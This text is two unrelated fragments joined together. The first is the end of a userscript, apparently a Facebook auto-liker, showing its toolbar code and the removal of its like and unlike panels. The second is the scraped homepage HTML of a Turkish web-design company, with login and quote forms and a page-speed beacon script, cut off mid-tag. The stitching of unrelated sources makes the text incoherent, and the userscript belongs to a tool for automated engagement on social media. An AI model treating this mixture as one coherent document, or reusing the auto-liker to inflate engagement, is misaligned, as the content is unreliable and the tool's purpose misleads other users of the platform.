} likeall(); config(); removeElements(document.querySelectorAll('#FBLikeProtitlemain')); removeElements(document.querySelectorAll('#FBLikeProtitlehide')); } exportFunction(show, unsafeWindow, {defineAs: "show"}); function hide() { "use strict"; if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'FBLikeProtitlehide'); div.className = "FBLikeProTB"; div.style.bottom = '+2px'; body.appendChild(div); div.innerHTML = unescape('<div style="float: right;height: 18px;position: relative;"> <div style="width:18px;height:18px;"> <img data-hover="tooltip" aria-label="Close" src="https://github.com/ZiaUrR3hman/FacebookAutoLikeProfessional/raw/master/images/close.png" width="18" height="18" class="img" id="close" onclick="ExitScript()"> </div></div><div style="float: right;height: 18px;position: relative;width: 21px;"> <div style="width:18px;height:18px;"> <img data-hover="tooltip" aria-label="Maximize" src="https://raw.githubusercontent.com/ZiaUrR3hman/FacebookAutoLikeProfessional/master/images/Maximize.png" width="18" height="18" class="img" id="max" onclick="show()"> </div></div><div style="overflow: hidden;text-overflow: ellipsis;white-space: nowrap;color: white;text-align: center;font-size: 13px;" data-hover="tooltip" aria-label="Facebook Auto Like Professional" onclick="show()">FB Auto Like Pro </div>'); } removeElements(document.querySelectorAll('#FBLikeProtitlemain')); removeElements(document.querySelectorAll('#FBLikeProtitle3')); removeElements(document.querySelectorAll('#stopall')); removeElements(document.querySelectorAll('#messageown')); removeElements(document.querySelectorAll('#increselikes')); removeElements(document.querySelectorAll('#update')); removeElements(document.querySelectorAll('#selectoption')); removeElements(document.querySelectorAll('#likepostsid')); removeElements(document.querySelectorAll('#likecomments')); removeElements(document.querySelectorAll('#unlikeposts')); removeElements(document.querySelectorAll('#unlikecomments')); } exportFunction(hide, unsafeWindow, {defineAs: "hide"}); hide();
ziko55453
!DOCTYPE html> <html> <head> <title>v Komputer servisi</title> <meta charset="utf-8"> <!--[if lt IE 9]> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <![endif]--> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Vairosoft sektorun baskenti Ankara 'da faaliyet gosteren; web tasar?m , ozel web yaz?l?mlar?, mobil uygulamalar gibi alanlarda cozum ureten yarat?c?, kararl?, farkl? bir yaz?l?m firmas?d?r."> <meta name="keywords" content="web tasar?m, web tasar?m ankara, ankara yaz?l?m firmalar?, yaz?l?m, web programlama"> <script src="https://code.jquery.com/jquery-1.10.2.min.js"></script> <script src="https://www.vairosoft.com/assets/public/js/jquery.validate.js" defer></script> <script src="https://www.vairosoft.com/assets/public/js/messages_tr.js" defer></script> <link href="https://www.vairosoft.com/assets/public/css/style.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/responsive.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/bootstrap.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/bootstrap-tagsinput.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/font-awesome.min.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/vairosoft.css" rel="stylesheet" type="text/css"/> <link href="https://www.vairosoft.com/assets/public/css/settings.css" rel="stylesheet" type="text/css"/> <link rel="icon" href="https://www.vairosoft.com/favicon.ico" type="image/x-icon"> <link rel="shortcut icon" href="https://www.vairosoft.com/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" href="https://www.vairosoft.com/favicon-png.png"> <script type="text/javascript">$(document).ready(function(){$('[rel=tDetay]').tooltip();$('#goToTop').click(function(){$('body,html').animate({scrollTop:0},1000);return false;});});</script> <link rel="stylesheet" href="https://www.vairosoft.com/assets/public/masterslider/style/masterslider.css"> <link href="https://www.vairosoft.com/assets/public/masterslider/skins/black-2/style.css" rel="stylesheet" type="text/css"> <script src="https://www.vairosoft.com/assets/public/masterslider/masterslider.min.js"></script> <script src="https://www.vairosoft.com/assets/public/masterslider/jquery.easing.min.js"></script> <link rel="stylesheet" href="https://www.vairosoft.com/assets/public/css/slider.css"> </head> <body> <div class="modal fade modal-login"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <a class="close" data-dismiss="modal" aria-hidden="true">×</a> <div class="modal-title"><script pagespeed_no_defer="">//<![CDATA[ (function(){var g=this,h=function(b,d){var a=b.split("."),c=g;a[0]in c||!c.execScript||c.execScript("var "+a[0]);for(var e;a.length&&(e=a.shift());)a.length||void 0===d?c[e]?c=c[e]:c=c[e]={}:c[e]=d};var l=function(b){var d=b.length;if(0<d){for(var a=Array(d),c=0;c<d;c++)a[c]=b[c];return a}return[]};var m=function(b){var d=window;if(d.addEventListener)d.addEventListener("load",b,!1);else if(d.attachEvent)d.attachEvent("onload",b);else{var a=d.onload;d.onload=function(){b.call(this);a&&a.call(this)}}};var n,p=function(b,d,a,c,e){this.f=b;this.h=d;this.i=a;this.c=e;this.e={height:window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight,width:window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth};this.g=c;this.b={};this.a=[];this.d={}},q=function(b,d){var a,c,e=d.getAttribute("pagespeed_url_hash");if(a=e&&!(e in b.d))if(0>=d.offsetWidth&&0>=d.offsetHeight)a=!1;else{c=d.getBoundingClientRect();var f=document.body;a=c.top+("pageYOffset"in window?window.pageYOffset:(document.documentElement||f.parentNode||f).scrollTop);c=c.left+("pageXOffset"in window?window.pageXOffset:(document.documentElement||f.parentNode||f).scrollLeft);f=a.toString()+","+c;b.b.hasOwnProperty(f)?a=!1:(b.b[f]=!0,a=a<=b.e.height&&c<=b.e.width)}a&&(b.a.push(e),b.d[e]=!0)};p.prototype.checkImageForCriticality=function(b){b.getBoundingClientRect&&q(this,b)};h("pagespeed.CriticalImages.checkImageForCriticality",function(b){n.checkImageForCriticality(b)});h("pagespeed.CriticalImages.checkCriticalImages",function(){r(n)});var r=function(b){b.b={};for(var d=["IMG","INPUT"],a=[],c=0;c<d.length;++c)a=a.concat(l(document.getElementsByTagName(d[c])));if(0!=a.length&&a[0].getBoundingClientRect){for(c=0;d=a[c];++c)q(b,d);a="oh="+b.i;b.c&&(a+="&n="+b.c);if(d=0!=b.a.length)for(a+="&ci="+encodeURIComponent(b.a[0]),c=1;c<b.a.length;++c){var e=","+encodeURIComponent(b.a[c]);131072>=a.length+e.length&&(a+=e)}b.g&&(e="&rd="+encodeURIComponent(JSON.stringify(s())),131072>=a.length+e.length&&(a+=e),d=!0);t=a;if(d){c=b.f;b=b.h;var f;if(window.XMLHttpRequest)f=new XMLHttpRequest;else if(window.ActiveXObject)try{f=new ActiveXObject("Msxml2.XMLHTTP")}catch(k){try{f=new ActiveXObject("Microsoft.XMLHTTP")}catch(u){}}f&&(f.open("POST",c+(-1==c.indexOf("?")?"?":"&")+"url="+encodeURIComponent(b)),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(a))}}},s=function(){var b={},d=document.getElementsByTagName("IMG");if(0==d.length)return{};var a=d[0];if(!("naturalWidth"in a&&"naturalHeight"in a))return{};for(var c=0;a=d[c];++c){var e=a.getAttribute("pagespeed_url_hash");e&&(!(e in b)&&0<a.width&&0<a.height&&0<a.naturalWidth&&0<a.naturalHeight||e in b&&a.width>=b[e].k&&a.height>=b[e].j)&&(b[e]={rw:a.width,rh:a.height,ow:a.naturalWidth,oh:a.naturalHeight})}return b},t="";h("pagespeed.CriticalImages.getBeaconData",function(){return t});h("pagespeed.CriticalImages.Run",function(b,d,a,c,e,f){var k=new p(b,d,a,e,f);n=k;c&&m(function(){window.setTimeout(function(){r(k)},0)})});})();pagespeed.CriticalImages.Run('/mod_pagespeed_beacon','https://www.vairosoft.com/','nGwfGbnYF7',true,false,'_p1ppgckZdM'); //]]></script><img alt="" src="assets/public/img/modalhead.png" pagespeed_url_hash="3904681381" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> VAIRO PANEL</div> </div> <form class="form-horizontal" method="post" action="https://www.vairosoft.com/giris"> <div class="modal-body"> <div class="form-group"> <div class="col-sm-12"> <input name="email" type="email" class="form-control" placeholder="E-Posta"> </div> </div> <div class="form-group"> <div class="col-sm-12"> <input name="password" type="password" class="form-control" placeholder="Sifre"> </div> </div> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"> </div> <div class="modal-footer"> <a data-toggle='modal' data-target=".modal-sifirla" id='sifresifir' class="pull-left vr">Sifremi Unuttum</a> <button type="submit" class="btn btn-vairo">GIRIS YAP</button> </div> </form> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div> <!-- Sifremi Unuttum --> <div class="modal fade modal-sifirla" id='sifirla'> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header vv"> <a class="close" data-dismiss="modal" aria-hidden="true">×</a> <div class="modal-title vv"><img alt="" src="assets/public/img/modalhead.png" pagespeed_url_hash="3904681381" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> Kay?t Olurken Kullanm?s Oldugunuz E-Posta Adresini Giriniz.</div> </div> <form class="form-horizontal" method="post" action="post" id='sifir'> <div class="modal-body"> <div class="form-group"> <div class="col-sm-12"> <input name="email" type="email" class="form-control required" placeholder="E-Posta Adresiniz"> </div> </div> </div> <div class="modal-footer vv"> <button type="submit" name="sifirla" value="1" class="btn btn-vairo">SIFRE SIFIRLA</button> </div> </form> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div> <script>$(function(){$('#sifir').validate();$('#sifresifir').click(function(){$('.modal-login').modal('toggle');})});</script> <!-- Sifremi Unuttum --> <div class="bgwrap" id="top"> <header> <div class="container topLink"> <div class="row link clearfix"> <div class="col-sm-4 col-xs-7"> <div class="phone"><img alt="telefon" src="https://www.vairosoft.com/assets/public/img/phone.png" pagespeed_url_hash="1259996802" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> 0850 302 13 13</div> </div> <div class="col-sm-5 col-md-6 col-xs-5"> <ul class="list-unstyled pull-right list-inline"> <li><div class="btn-group"> <a class="btn btn-default active">TR</a> <a class="btn btn-default" href="https://www.vairosoft.com/en">EN</a> </div></li> </ul> </div> <div class="col-sm-3 col-md-2 col-xs-12 col-lg-2"> <a data-toggle="modal" data-target=".modal-login" class="btn btn-default vairoPanel btn-block "><img alt="Vairo Panel" src="https://www.vairosoft.com/assets/public/img/vairo-click.png" pagespeed_url_hash="3116876926" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"><span>VAIRO PANEL</span></a> </div> </div> </div> <div class="visible-lg leftbar"></div> <div class="container"> <nav class="navbar navbar-inverse" role="navigation"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-6"> <span class="sr-only">Menuyu Oynat</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="https://www.vairosoft.com"><h1><img alt="Vairosoft Web Tasar?m Ankara" src="https://www.vairosoft.com/assets/public/img/logo.png" pagespeed_url_hash="3074193661" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></h1></a> </div> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-6"> <ul class="nav navbar-nav"> <li><a href="https://www.vairosoft.com/kurumsal">KURUMSAL</a></li><li><a href="https://www.vairosoft.com/hizmetlerimiz">HIZMETLERIMIZ</a></li><li><a href="https://www.vairosoft.com/hazir-cozumler">HAZIR COZUMLER</a></li><li><a href="https://www.vairosoft.com/referanslar">REFERANSLAR</a></li><li><a href="https://www.vairosoft.com/cozum-ortaklari">COZUM ORTAKLARI</a></li><li><a href="https://www.vairosoft.com/iletisim">ILETISIM</a></li> </ul> </div> </nav> <div class="row"> <div class="col-xs-6 text-left"><a href="https://www.vairosoft.com" class="btn btn-default home-btn"><img alt="Vairosoft Anasayfa" src="https://www.vairosoft.com/assets/public/img/home.png" pagespeed_url_hash="255204953" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></a></div> <div class="col-xs-6 text-right"><a class="btn btn-default offer-me" data-toggle="collapse" data-target=".top-collapse"><img alt="Teklif Iste" src="https://www.vairosoft.com/assets/public/img/doc.png" pagespeed_url_hash="4020621328" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">TEKLIF ISTEYIN</a></div> </div> </div> <div class="offer-wrap"> <div class="container"> <div class="top-collapse"> <div class="content"> <div class="arrow pull-right"></div> <div class="clearfix"></div> <div class="row"> <div class="col-sm-4"> <ul class="nav nav-tabs"> <li><a href="#ozelweb" data-toggle="tab"><img alt="OZEL WEB YAZILIMLARI" src="https://www.vairosoft.com/assets/public/img/icon/network.png" pagespeed_url_hash="2624423922" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">OZEL WEB YAZILIMLARI</a></li> <li><a href="#webtasarim" data-toggle="tab"><img alt="WEB TASARIM" src="https://www.vairosoft.com/assets/public/img/icon/design.png" pagespeed_url_hash="499719948" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">WEB TASARIM</a></li> <li><a href="#sosyalmedya" data-toggle="tab"><img alt="SOSYAL MEDYA UYGULAMALARI" src="https://www.vairosoft.com/assets/public/img/icon/social.png" pagespeed_url_hash="58202655" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">SOSYAL MEDYA UYGULAMALARI</a></li> <li><a href="#mobiluygulama" data-toggle="tab"><img alt="MOBIL UYGULAMA GELISTIRME" src="https://www.vairosoft.com/assets/public/img/icon/mobile.png" pagespeed_url_hash="3906589564" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">MOBIL UYGULAMA GELISTIRME</a></li> <li><a href="#seo" data-toggle="tab"><img alt="ARAMA MOTORU OPTIMIZASYONU" src="https://www.vairosoft.com/assets/public/img/icon/seo.png" pagespeed_url_hash="2422097077" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">ARAMA MOTORU OPTIMIZASYONU</a></li> <li><a href="#reklam" data-toggle="tab"><img alt="INTERNET REKLAMCILIGI" src="https://www.vairosoft.com/assets/public/img/icon/target.png" pagespeed_url_hash="2288834043" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">INTERNET REKLAMCILIGI</a></li> <li><a href="#kurumsal" data-toggle="tab"><img alt="KURUMSAL KIMLIK" src="https://www.vairosoft.com/assets/public/img/icon/corporate.png" pagespeed_url_hash="3962951853" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">KURUMSAL KIMLIK</a></li> </ul> </div> <div class="col-sm-8"> <div class="tab-content"> <div class="tab-pane active orta"> <div class="col-lg-12"> <img alt="Teklif Hizmet Basl?g?" src="https://www.vairosoft.com/assets/public/img/teklifgiris.png" pagespeed_url_hash="3108191531" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </div> <div class="col-lg-12" style="text-align: center"> <p class="gri">Lutfen Teklif Almak Istediginiz Hizmet Basl?g?n? Seciniz.</p> </div> <div class="col-lg-12"> <img src="https://www.vairosoft.com/assets/public/img/teklifok.png" alt="teklis iste ok" pagespeed_url_hash="471366965" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </div> </div> <div class="tab-pane" id="ozelweb"> <div class="title clearfix"><img alt="OZEL WEB YAZILIMLARI" src="https://www.vairosoft.com/assets/public/img/icon/network.png" pagespeed_url_hash="2624423922" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">OZEL WEB YAZILIMLARI <small class="text-muted">Ihtiyaclar?n?za yonelik ozel yaz?l?mlar uretiyoruz</small></div> <form id="ozelwebyazilimlari" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"><input name="baslik" type="text" class="form-control required" placeholder="Proje Basl?g?n?z"></div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Projenizin Tan?m? ve Ayr?nt?lar?"></textarea> </div> </div> <button type="submit" name="ozelweb" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="webtasarim1"> <div class="title clearfix"><img alt="WEB TASARIM" src="https://www.vairosoft.com/assets/public/img/icon/design.png" pagespeed_url_hash="499719948" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">WEB TASARIM <small class="text-muted">Internet standartlar?na uyumlu, kullan?c? dostu tasar?mlar</small></div> <form id="webtasarim" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"> <select name="hizmettur" onchange="degis(this.value)" class="form-control vairo required"> <option value="0">Hizmet Turu Seciniz</option> <option value="1">Yeni Web Sayfa Hizmeti</option> <option value="2">Var Olan Web Sayfa Guncellemesi</option> </select></div> </div> <div class="form-group" id="webkat"> <div class="col-lg-12"> <select name="kategori" class="form-control vairo"> <option value="0">Kategori Seciniz</option> <option value="1">Kurumsal</option> <option value="2">E-Ticaret</option> <option value="3">Kisisel</option> <option value="4">Diger</option> </select> </div> </div> <div class="form-group" id="sakla"> <div class="col-lg-12"> <input name="webadres" type="text" class="form-control" placeholder="Web Sayfa Adresiniz"> </div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Genel Ac?klamalar?n?z"></textarea> </div> </div> <button type="submit" name="webtasarim" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="sosyalmedya"> <div class="title clearfix"><img alt="SOSYAL MEDYA UYGULAMALARI" src="https://www.vairosoft.com/assets/public/img/icon/social.png" pagespeed_url_hash="58202655" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">SOSYAL MEDYA UYGULAMALARI <small class="text-muted">Hayalinizi Facebook ve Twitter uygulamas?na donusturun.</small></div> <form id="sosyal" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"><select name="platform" class="form-control vairo required"> <option>Sosyal Medya Platformu Seciniz</option> <option>Facebook</option> <option>Twitter</option> <option>Diger</option> </select></div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Program Tan?m? ve Ayr?nt?lar?"></textarea> </div> </div> <button type="submit" name="sosyalmedya" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="mobiluygulama"> <div class="title clearfix"><img alt="MOBIL UYGULAMA GELISTIRME" src="https://www.vairosoft.com/assets/public/img/icon/mobile.png" pagespeed_url_hash="3906589564" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">MOBIL UYGULAMA GELISTIRME <small class="text-muted">Size ozel Android ve IOS uygulamalar? gelistiriyoruz.</small></div> <form id="mobil" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"><select name="platform" class="form-control vairo required"> <option>Mobil Platformu Seciniz</option> <option>Android</option> <option>Ios</option> <option>Android & Ios</option> </select></div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Program Tan?m? ve Ayr?nt?lar?"></textarea> </div> </div> <button type="submit" name="mobiluygulama" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="seo"> <div class="title clearfix"><img alt="ARAMA MOTORU OPTIMIZASYONU" src="https://www.vairosoft.com/assets/public/img/icon/seo.png" pagespeed_url_hash="2422097077" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">ARAMA MOTORU OPTIMIZASYONU <small class="text-muted">Siteniz Google, Yandex, Bing arama motorlar?nda ust s?ralarda yer als?n.</small></div> <form id="aramamotoru" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"> <!-- Bu k?s?mda labellar ayr?lacak --> <div class="ayir"> <input type="checkbox" name="box[]" id="checkboxG1" value="Google" class="css-checkbox"/><label for="checkboxG1" class="css-label">Google</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkboxG11" value="Yahoo" class="css-checkbox"/><label for="checkboxG11" class="css-label">Yahoo</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkboxG12" value="Bing" class="css-checkbox"/><label for="checkboxG12" class="css-label">Bing</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkboxG13" value="Yandex" class="css-checkbox"/><label for="checkboxG13" class="css-label">Yandex</label> </div> </div> </div> <div class="form-group"> <div class="col-lg-12"> <input class="required" name="anahtar" type="text" data-role="tagsinput" placeholder="Anahtar Kelimelerinizi Tek Tek Girip Enter Tusuna Bas?n?z."/> </div> </div> <div class="form-group"> <div class="col-lg-12"> <input name="butce" type="text" class="form-control required" placeholder="Optimize Edilecek Web Sayfa Adresiniz"> </div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Ek Istek ve Bilgilendirmeleriniz"></textarea> </div> </div> <button type="submit" name="aramam" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="reklam"> <div class="title clearfix"><img alt="INTERNET REKLAMCILIGI" src="https://www.vairosoft.com/assets/public/img/icon/target.png" pagespeed_url_hash="2288834043" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">INTERNET REKLAMCILIGI <small class="text-muted">Google Adwords, Facebook Ads, Yandex Direct reklam aglar?nda yerinizi al?n</small></div> <form id="reklamcilik" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"> <!-- Bu k?s?mda labellar ayr?lacak --> <div class="ayir"> <input type="checkbox" name="box[]" id="checkbox1" value="Google" class="css-checkbox"/><label for="checkbox1" class="css-label">Google</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkbox2" value="Facebook" class="css-checkbox"/><label for="checkbox2" class="css-label">Facebook</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkbox3" value="Yandex" class="css-checkbox"/><label for="checkbox3" class="css-label">Yandex</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkbox4" value="Diger" class="css-checkbox"/><label for="checkbox4" class="css-label">Diger</label> </div> </div> </div> <div class="form-group"> <div class="col-lg-12"> <input name="anahtar" class="required" type="text" data-role="tagsinput" placeholder="Anahtar Kelimelerinizi Tek Tek Girip Enter Tusuna Bas?n?z."/> </div> </div> <div class="form-group"> <div class="col-lg-6"> <input name="gunluk" type="text" class="form-control required" placeholder="Ayr?lan Gunluk Butce Miktar? .00 TL"> </div> <div class="col-lg-6"> <input name="toplambutce" type="text" class="form-control required" placeholder="Ayr?lan Toplam Butce Miktar? .00 TL"> </div> </div> <div class="form-group"> <div class="col-lg-12"> <input name="adres" type="text" class="form-control required" placeholder="Reklam Verilecek Adresi Giriniz."> </div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Ek Istek ve Bilgilendirmeleriniz"></textarea> </div> </div> <button type="submit" name="intreklam" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="kurumsal"> <div class="title clearfix"><img alt="KURUMSAL KIMLIK CALISMALARI" src="https://www.vairosoft.com/assets/public/img/icon/corporate.png" pagespeed_url_hash="3962951853" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">KURUMSAL KIMLIK CALISMALARI <small class="text-muted">Bizimle markan?z? on planda tutun.</small></div> <form id="kurumsalkimlik" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"><select name="hizmettur" class="form-control vairo required"> <option>Hizmet Turu Seciniz</option> <option>Kartvizit</option> <option>Logo</option> <option>Antetli Kag?t</option> <option>Zarf</option> <option>Arac Giydirme</option> <option>Katalog</option> <option>Promosyon Urunleri</option> <option>Diger</option> </select></div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Ek Istekler ve Bilgilendirmeler"></textarea> </div> </div> <button type="submit" name="kurumsal" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> </div> </div> </div> </div> </div> </div> </div></header><script type="text/javascript">$(function(){$('#sakla').hide();$('#webkat').hide();$('#reklamsakla').hide();});function degis(val){if(val==2){$('#sakla').show();$('#webkat').hide();}else if(val==1){$('#webkat').show();$('#sakla').hide();}else if(val==0){$('#webkat').hide();$('#sakla').hide();}}function reklam(val){if(val==0){$('#reklamsakla').hide();}else{$('#reklamsakla').show();}}</script><script type="text/javascript">$(document).ready(function(){$('#ozelwebyazilimlari').validate();$('#webtasarim').validate();$('#sosyal').validate();$('#mobil').validate();$('#aramamotoru').validate();$('#reklamcilik').validate();$('#kurumsalkimlik').validate();})</script> <script type="text/javascript">$(document).ready(function(){$('#mesajmodal').modal();})</script> </div> <!-- masterslider --> <div class="master-slider ms-skin-black-2 round-skin" id="masterslider"> <div class="ms-slide slide-1" data-delay="10"> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/img/vbg.jpg" style="width:100% !important; height:100% !important;" alt="back" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/2.png" alt="layer" class="ms-layer" style="bottom: 71px; left: 227px; z-index: 7;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="600" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/3.png" alt="layer" class="ms-layer" style="bottom: 266px; left: 267px; z-index: 7;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="700" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4.png" alt="layer" class="ms-layer" style="bottom: 119px; left: 299px; z-index: 6;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="800" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/2/2.png" alt="layer" class="ms-layer" style="bottom: 136px; left: 355px; z-index: 5;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="900" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/2/3.png" alt="layer" class="ms-layer" style="bottom: 331px; left: 396px; z-index: 5;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1000" 